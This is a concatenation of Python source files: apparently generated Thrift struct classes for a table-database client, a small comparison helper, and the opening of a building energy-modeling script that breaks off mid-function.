if self.row_regexp != None:
oprot.writeFieldBegin('row_regexp', TType.STRING, 11)
oprot.writeString(self.row_regexp)
oprot.writeFieldEnd()
if self.value_regexp != None:
oprot.writeFieldBegin('value_regexp', TType.STRING, 12)
oprot.writeString(self.value_regexp)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class Key:
"""
Defines a cell key
<dl>
<dt>row</dt>
<dd>Specifies the row key. Note, it cannot contain null characters.
If a row key is not specified in a return cell, it's assumed to
be the same as the previous cell</dd>
<dt>column_family</dt>
<dd>Specifies the column family</dd>
<dt>column_qualifier</dt>
<dd>Specifies the column qualifier. A column family must be specified.</dd>
<dt>timestamp</dt>
<dd>Nanoseconds since epoch for the cell<dd>
<dt>revision</dt>
<dd>A 64-bit revision number for the cell</dd>
<dt>flag</dt>
<dd>A 16-bit integer indicating the state of the cell</dd>
</dl>
Attributes:
- row
- column_family
- column_qualifier
- timestamp
- revision
- flag
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'row', None, None,), # 1
(2, TType.STRING, 'column_family', None, None,), # 2
(3, TType.STRING, 'column_qualifier', None, None,), # 3
(4, TType.I64, 'timestamp', None, None,), # 4
(5, TType.I64, 'revision', None, None,), # 5
(6, TType.I32, 'flag', None, 255,), # 6
)
def __init__(self, row=None, column_family=None, column_qualifier=None, timestamp=None, revision=None, flag=thrift_spec[6][4],):
self.row = row
self.column_family = column_family
self.column_qualifier = column_qualifier
self.timestamp = timestamp
self.revision = revision
self.flag = flag
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.row = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.column_family = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.column_qualifier = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I64:
self.timestamp = iprot.readI64();
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.I64:
self.revision = iprot.readI64();
else:
iprot.skip(ftype)
elif fid == 6:
if ftype == TType.I32:
self.flag = iprot.readI32();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('Key')
if self.row != None:
oprot.writeFieldBegin('row', TType.STRING, 1)
oprot.writeString(self.row)
oprot.writeFieldEnd()
if self.column_family != None:
oprot.writeFieldBegin('column_family', TType.STRING, 2)
oprot.writeString(self.column_family)
oprot.writeFieldEnd()
if self.column_qualifier != None:
oprot.writeFieldBegin('column_qualifier', TType.STRING, 3)
oprot.writeString(self.column_qualifier)
oprot.writeFieldEnd()
if self.timestamp != None:
oprot.writeFieldBegin('timestamp', TType.I64, 4)
oprot.writeI64(self.timestamp)
oprot.writeFieldEnd()
if self.revision != None:
oprot.writeFieldBegin('revision', TType.I64, 5)
oprot.writeI64(self.revision)
oprot.writeFieldEnd()
if self.flag != None:
oprot.writeFieldBegin('flag', TType.I32, 6)
oprot.writeI32(self.flag)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class MutateSpec:
"""
Specifies options for a shared periodic mutator
<dl>
<dt>appname</dt>
<dd>String key used to share/retrieve mutator, eg: "my_ht_app"</dd>
<dt>flush_interval</dt>
<dd>Time interval between flushes</dd>
<dt>flags</dt>
<dd>Mutator flags</dt>
</dl>
Attributes:
- appname
- flush_interval
- flags
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'appname', None, "",), # 1
(2, TType.I32, 'flush_interval', None, 1000,), # 2
(3, TType.I32, 'flags', None, 2,), # 3
)
def __init__(self, appname=thrift_spec[1][4], flush_interval=thrift_spec[2][4], flags=thrift_spec[3][4],):
self.appname = appname
self.flush_interval = flush_interval
self.flags = flags
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.appname = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.flush_interval = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I32:
self.flags = iprot.readI32();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('MutateSpec')
if self.appname != None:
oprot.writeFieldBegin('appname', TType.STRING, 1)
oprot.writeString(self.appname)
oprot.writeFieldEnd()
if self.flush_interval != None:
oprot.writeFieldBegin('flush_interval', TType.I32, 2)
oprot.writeI32(self.flush_interval)
oprot.writeFieldEnd()
if self.flags != None:
oprot.writeFieldBegin('flags', TType.I32, 3)
oprot.writeI32(self.flags)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.appname is None:
raise TProtocol.TProtocolException(message='Required field appname is unset!')
if self.flush_interval is None:
raise TProtocol.TProtocolException(message='Required field flush_interval is unset!')
if self.flags is None:
raise TProtocol.TProtocolException(message='Required field flags is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class Cell:
"""
Defines a table cell
<dl>
<dt>key</dt>
<dd>Specifies the cell key</dd>
<dt>value</dt>
<dd>Value of a cell. Currently a sequence of uninterpreted bytes.</dd>
</dl>
Attributes:
- key
- value
"""
thrift_spec = (
None, # 0
(1, TType.STRUCT, 'key', (Key, Key.thrift_spec), None,), # 1
(2, TType.STRING, 'value', None, None,), # 2
)
def __init__(self, key=None, value=None,):
self.key = key
self.value = value
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRUCT:
self.key = Key()
self.key.read(iprot)
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.value = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('Cell')
if self.key != None:
oprot.writeFieldBegin('key', TType.STRUCT, 1)
self.key.write(oprot)
oprot.writeFieldEnd()
if self.value != None:
oprot.writeFieldBegin('value', TType.STRING, 2)
oprot.writeString(self.value)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class NamespaceListing:
"""
Defines an individual namespace listing
<dl>
<dt>name</dt>
<dd>Name of the listing.</dd>
<dt>is_namespace</dt>
<dd>true if this entry is a namespace.</dd>
</dl>
Attributes:
- name
- is_namespace
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'name', None, None,), # 1
(2, TType.BOOL, 'is_namespace', None, None,), # 2
)
def __init__(self, name=None, is_namespace=None,):
self.name = name
self.is_namespace = is_namespace
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.name = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.BOOL:
self.is_namespace = iprot.readBool();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('NamespaceListing')
if self.name != None:
oprot.writeFieldBegin('name', TType.STRING, 1)
oprot.writeString(self.name)
oprot.writeFieldEnd()
if self.is_namespace != None:
oprot.writeFieldBegin('is_namespace', TType.BOOL, 2)
oprot.writeBool(self.is_namespace)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.name is None:
raise TProtocol.TProtocolException(message='Required field name is unset!')
if self.is_namespace is None:
raise TProtocol.TProtocolException(message='Required field is_namespace is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class TableSplit:
"""
Defines a table split
<dl>
<dt>start_row</dt>
<dd>Starting row of the split.</dd>
<dt>end_row</dt>
<dd>Ending row of the split.</dd>
<dt>location</dt>
<dd>Location (proxy name) of the split.</dd>
<dt>ip_address</dt>
<dd>The IP address of the split.</dd>
</dl>
Attributes:
- start_row
- end_row
- location
- ip_address
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'start_row', None, None,), # 1
(2, TType.STRING, 'end_row', None, None,), # 2
(3, TType.STRING, 'location', None, None,), # 3
(4, TType.STRING, 'ip_address', None, None,), # 4
)
def __init__(self, start_row=None, end_row=None, location=None, ip_address=None,):
self.start_row = start_row
self.end_row = end_row
self.location = location
self.ip_address = ip_address
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.start_row = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.end_row = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.location = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.STRING:
self.ip_address = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('TableSplit')
if self.start_row != None:
oprot.writeFieldBegin('start_row', TType.STRING, 1)
oprot.writeString(self.start_row)
oprot.writeFieldEnd()
if self.end_row != None:
oprot.writeFieldBegin('end_row', TType.STRING, 2)
oprot.writeString(self.end_row)
oprot.writeFieldEnd()
if self.location != None:
oprot.writeFieldBegin('location', TType.STRING, 3)
oprot.writeString(self.location)
oprot.writeFieldEnd()
if self.ip_address != None:
oprot.writeFieldBegin('ip_address', TType.STRING, 4)
oprot.writeString(self.ip_address)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class ColumnFamily:
"""
Describes a ColumnFamily
<dl>
<dt>name</dt>
<dd>Name of the column family</dd>
<dt>ag</dt>
<dd>Name of the access group for this CF</dd>
<dt>max_versions</dt>
<dd>Max versions of the same cell to be stored</dd>
<dt>ttl</dt>
<dd>Time to live for cells in the CF (ie delete cells older than this time)</dd>
</dl>
Attributes:
- name
- ag
- max_versions
- ttl
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'name', None, None,), # 1
(2, TType.STRING, 'ag', None, None,), # 2
(3, TType.I32, 'max_versions', None, None,), # 3
(4, TType.STRING, 'ttl', None, None,), # 4
)
def __init__(self, name=None, ag=None, max_versions=None, ttl=None,):
self.name = name
self.ag = ag
self.max_versions = max_versions
self.ttl = ttl
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.name = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.ag = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I32:
self.max_versions = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.STRING:
self.ttl = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('ColumnFamily')
if self.name != None:
oprot.writeFieldBegin('name', TType.STRING, 1)
oprot.writeString(self.name)
oprot.writeFieldEnd()
if self.ag != None:
oprot.writeFieldBegin('ag', TType.STRING, 2)
oprot.writeString(self.ag)
oprot.writeFieldEnd()
if self.max_versions != None:
oprot.writeFieldBegin('max_versions', TType.I32, 3)
oprot.writeI32(self.max_versions)
oprot.writeFieldEnd()
if self.ttl != None:
oprot.writeFieldBegin('ttl', TType.STRING, 4)
oprot.writeString(self.ttl)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class AccessGroup:
"""
Describes an AccessGroup
<dl>
<dt>name</dt>
<dd>Name of the access group</dd>
<dt>in_memory</dt>
<dd>Is this access group in memory</dd>
<dt>replication</dt>
<dd>Replication factor for this AG</dd>
<dt>blocksize</dt>
<dd>Specifies blocksize for this AG</dd>
<dt>compressor</dt>
<dd>Specifies compressor for this AG</dd>
<dt>bloom_filter</dt>
<dd>Specifies bloom filter type</dd>
<dt>columns</dt>
<dd>Specifies list of column families in this AG</dd>
</dl>
Attributes:
- name
- in_memory
- replication
- blocksize
- compressor
- bloom_filter
- columns
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'name', None, None,), # 1
(2, TType.BOOL, 'in_memory', None, None,), # 2
(3, TType.I16, 'replication', None, None,), # 3
(4, TType.I32, 'blocksize', None, None,), # 4
(5, TType.STRING, 'compressor', None, None,), # 5
(6, TType.STRING, 'bloom_filter', None, None,), # 6
(7, TType.LIST, 'columns', (TType.STRUCT, (ColumnFamily, ColumnFamily.thrift_spec)), None,), # 7
)
def __init__(self, name=None, in_memory=None, replication=None, blocksize=None, compressor=None, bloom_filter=None, columns=None,):
self.name = name
self.in_memory = in_memory
self.replication = replication
self.blocksize = blocksize
self.compressor = compressor
self.bloom_filter = bloom_filter
self.columns = columns
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.name = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.BOOL:
self.in_memory = iprot.readBool();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I16:
self.replication = iprot.readI16();
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I32:
self.blocksize = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.STRING:
self.compressor = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 6:
if ftype == TType.STRING:
self.bloom_filter = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 7:
if ftype == TType.LIST:
self.columns = []
(_etype24, _size21) = iprot.readListBegin()
for _i25 in xrange(_size21):
_elem26 = ColumnFamily()
_elem26.read(iprot)
self.columns.append(_elem26)
iprot.readListEnd()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('AccessGroup')
if self.name != None:
oprot.writeFieldBegin('name', TType.STRING, 1)
oprot.writeString(self.name)
oprot.writeFieldEnd()
if self.in_memory != None:
oprot.writeFieldBegin('in_memory', TType.BOOL, 2)
oprot.writeBool(self.in_memory)
oprot.writeFieldEnd()
if self.replication != None:
oprot.writeFieldBegin('replication', TType.I16, 3)
oprot.writeI16(self.replication)
oprot.writeFieldEnd()
if self.blocksize != None:
oprot.writeFieldBegin('blocksize', TType.I32, 4)
oprot.writeI32(self.blocksize)
oprot.writeFieldEnd()
if self.compressor != None:
oprot.writeFieldBegin('compressor', TType.STRING, 5)
oprot.writeString(self.compressor)
oprot.writeFieldEnd()
if self.bloom_filter != None:
oprot.writeFieldBegin('bloom_filter', TType.STRING, 6)
oprot.writeString(self.bloom_filter)
oprot.writeFieldEnd()
if self.columns != None:
oprot.writeFieldBegin('columns', TType.LIST, 7)
oprot.writeListBegin(TType.STRUCT, len(self.columns))
for iter27 in self.columns:
iter27.write(oprot)
oprot.writeListEnd()
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class Schema:
"""
Describes a schema
<dl>
<dt>name</dt>
<dd>Name of the access group</dd>
<dt>in_memory</dt>
<dd>Is this access group in memory</dd>
<dt>replication</dt>
<dd>Replication factor for this AG</dd>
<dt>blocksize</dt>
<dd>Specifies blocksize for this AG</dd>
<dt>compressor</dt>
<dd>Specifies compressor for this AG</dd>
<dt>bloom_filter</dt>
<dd>Specifies bloom filter type</dd>
<dt>columns</dt>
<dd>Specifies list of column families in this AG</dd>
</dl>
Attributes:
- access_groups
- column_families
"""
thrift_spec = (
None, # 0
(1, TType.MAP, 'access_groups', (TType.STRING, None, TType.STRUCT, (AccessGroup, AccessGroup.thrift_spec)), None,), # 1
(2, TType.MAP, 'column_families', (TType.STRING, None, TType.STRUCT, (ColumnFamily, ColumnFamily.thrift_spec)), None,), # 2
)
def __init__(self, access_groups=None, column_families=None,):
self.access_groups = access_groups
self.column_families = column_families
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.MAP:
self.access_groups = {}
(_ktype29, _vtype30, _size28) = iprot.readMapBegin()
for _i32 in xrange(_size28):
_key33 = iprot.readString();
_val34 = AccessGroup()
_val34.read(iprot)
self.access_groups[_key33] = _val34
iprot.readMapEnd()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.MAP:
self.column_families = {}
(_ktype36, _vtype37, _size35) = iprot.readMapBegin()
for _i39 in xrange(_size35):
_key40 = iprot.readString();
_val41 = ColumnFamily()
_val41.read(iprot)
self.column_families[_key40] = _val41
iprot.readMapEnd()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('Schema')
if self.access_groups != None:
oprot.writeFieldBegin('access_groups', TType.MAP, 1)
oprot.writeMapBegin(TType.STRING, TType.STRUCT, len(self.access_groups))
for kiter42, viter43 in self.access_groups.items():
oprot.writeString(kiter42)
viter43.write(oprot)
oprot.writeMapEnd()
oprot.writeFieldEnd()
if self.column_families != None:
oprot.writeFieldBegin('column_families', TType.MAP, 2)
oprot.writeMapBegin(TType.STRING, TType.STRUCT, len(self.column_families))
for kiter44, viter45 in self.column_families.items():
oprot.writeString(kiter44)
viter45.write(oprot)
oprot.writeMapEnd()
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class ClientException(Exception):
"""
Exception for thrift clients.
<dl>
<dt>code</dt><dd>Internal use (defined in src/cc/Common/Error.h)</dd>
<dt>message</dt><dd>A message about the exception</dd>
</dl>
Note: some languages (like php) don't have adequate namespace, so Exception
would conflict with language builtins.
Attributes:
- code
- message
"""
thrift_spec = (
None, # 0
(1, TType.I32, 'code', None, None,), # 1
(2, TType.STRING, 'message', None, None,), # 2
)
def __init__(self, code=None, message=None,):
self.code = code
self.message = message
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.I32:
self.code = iprot.readI32();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.message = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('ClientException')
if self.code != None:
oprot.writeFieldBegin('code', TType.I32, 1)
oprot.writeI32(self.code)
oprot.writeFieldEnd()
if self.message != None:
oprot.writeFieldBegin('message', TType.STRING, 2)
oprot.writeString(self.message)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __str__(self):
return repr(self)
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
|
def comparevals(v1, operator, v2):
if operator == ">":
return v1 > v2
elif operator == "<":
return v1 < v2
elif operator == ">=":
return v1 >= v2
elif operator == "<=":
return v1 <= v2
elif operator == "=" or operator == "==":
return v1 == v2
elif operator == "!=":
return v1 != v2
def compare(v1, operator, v2):
if comparevals(v1, operator, v2):
return 1
return 0
|
#!/usr/bin/env python3
from os import getcwd, path
import json
class UsefulInputFiles(object):
"""Class of input file paths to be used by this routine.
Attributes:
msegs_in (string): Database of baseline microsegment stock/energy.
htcl_totals (string): Heating/cooling energy totals by climate zone,
building type, and structure type.
metadata (dict): Baseline metadata including min/max for year range.
"""
def __init__(self):
self.msegs_in = ("supporting_data", "stock_energy_tech_data",
"mseg_res_com_cz.json")
self.htcl_totals = ("supporting_data", "stock_energy_tech_data",
"htcl_totals.json")
self.metadata = "metadata.json"
class UsefulVars(object):
"""Class of variables that are used globally across functions.
Attributes:
aeo_years (list): Modeling time horizon.
ss_conv (dict): Site-source conversion factors by fuel type.
"""
def __init__(self, base_dir, handyfiles):
# Load metadata including AEO year range
with open(path.join(base_dir, handyfiles.metadata), 'r') as aeo_yrs:
try:
aeo_yrs = json.load(aeo_yrs)
except ValueError as e:
raise ValueError(
"Error reading in '" +
handyfiles.metadata + "': " + str(e)) from None
# Set minimum AEO modeling year
aeo_min = aeo_yrs["min year"]
# Set maximum AEO modeling year
aeo_max = aeo_yrs["max year"]
# Derive time horizon from min/max years
self.aeo_years = [
str(i) for i in range(aeo_min, aeo_max + 1)]
# Read in JSON with site to source conversion, fuel CO2 intensity,
# and energy/carbon costs data
with open(path.join(
base_dir, *("supporting_data", "convert_data",
"site_source_co2_conversions.json")), 'r') as ss:
cost_ss_carb = json.load(ss)
# Set site to source conversions
self.ss_conv = {
"electricity": cost_ss_carb[
"electricity"]["site to source conversion"]["data"],
"natural gas": {yr: 1 for yr in self.aeo_years},
"distillate": {yr: 1 for yr in self.aeo_years},
"other fuel": {yr: 1 for yr in self.aeo_years}}
def sum_htcl_branches(nested_dict, adj_frac, sum_val):
"""Sum all leaf node values under a given nested dict level.
Args:
nested_dict (dict): The nested dict with values to sum.
adj_frac (dict): Adjustment fraction to apply to values.
sum_val (dict): Summed values.
Returns:
Summed total values, each adjusted by the input fraction.
"""
for (k, i) in sorted(nested_dict.items()):
# Restrict summation of all values under the 'stock' key
if k == "stock":
continue
elif isinstance(i, dict):
sum_htcl_branches(i, adj_frac, sum_val)
elif k in sum_val.keys():
sum_val[k] = sum_val[k] + nested_dict[k] * adj_frac[k]
return sum_val
def set_new_exist_frac(msegs, aeo_years, bldg):
""" Determine cumulative new vs. existing structures by year.
Attributes:
msegs (dict): Data on new and existing homes (residential) and new and
existing square feet (commercial), broken down by building type.
aeo_years (list): Modeling time horizon.
bldg (string): Building type energy data is currently being retrieved
for.
Returns:
Fractions of the total building stock that are existing or newly
constructed since the first year in the modeling time horizon.
"""
# Initialize dict of supporting data for new/existing structure calcs.
new_constr = {
"annual new": {}, "annual total": {}}
# Initialize dict to store new vs. existing structure fractions
new_exist_frac = {"new": {}, "existing": {}}
# Determine annual and total new construction for each year (by new
# homes for the residential sector, by square feet for commercial)
if bldg in ["single family home", "mobile home",
"multi family home"]:
new_constr["annual new"] = {yr: msegs["new homes"][yr] for
yr in aeo_years}
new_constr["annual total"] = {yr: msegs["total homes"][yr] for
yr in aeo_years}
else:
new_constr["annual new"] = {yr: msegs["new square footage"][yr] for
yr in aeo_years}
new_constr["annual total"] = {yr: msegs["total square footage"][yr] for
yr in aeo_years}
# Find the cumulative fraction of new buildings constructed in all
# years since the beginning of the modeling time horizon
# Set cumulative new homes or square footage totals
for yr in aeo_years:
if yr == aeo_years[0]:
new_exist_frac["new"][yr] = new_constr["annual new"][yr]
else:
new_exist_frac["new"][yr] = new_constr["annual new"][yr] + \
new_exist_frac["new"][str(int(yr) - 1)]
# Divide cumulative new home or square footage totals by total
# new homes or square footage to arrive at cumulative new fraction
new_exist_frac["new"] = {
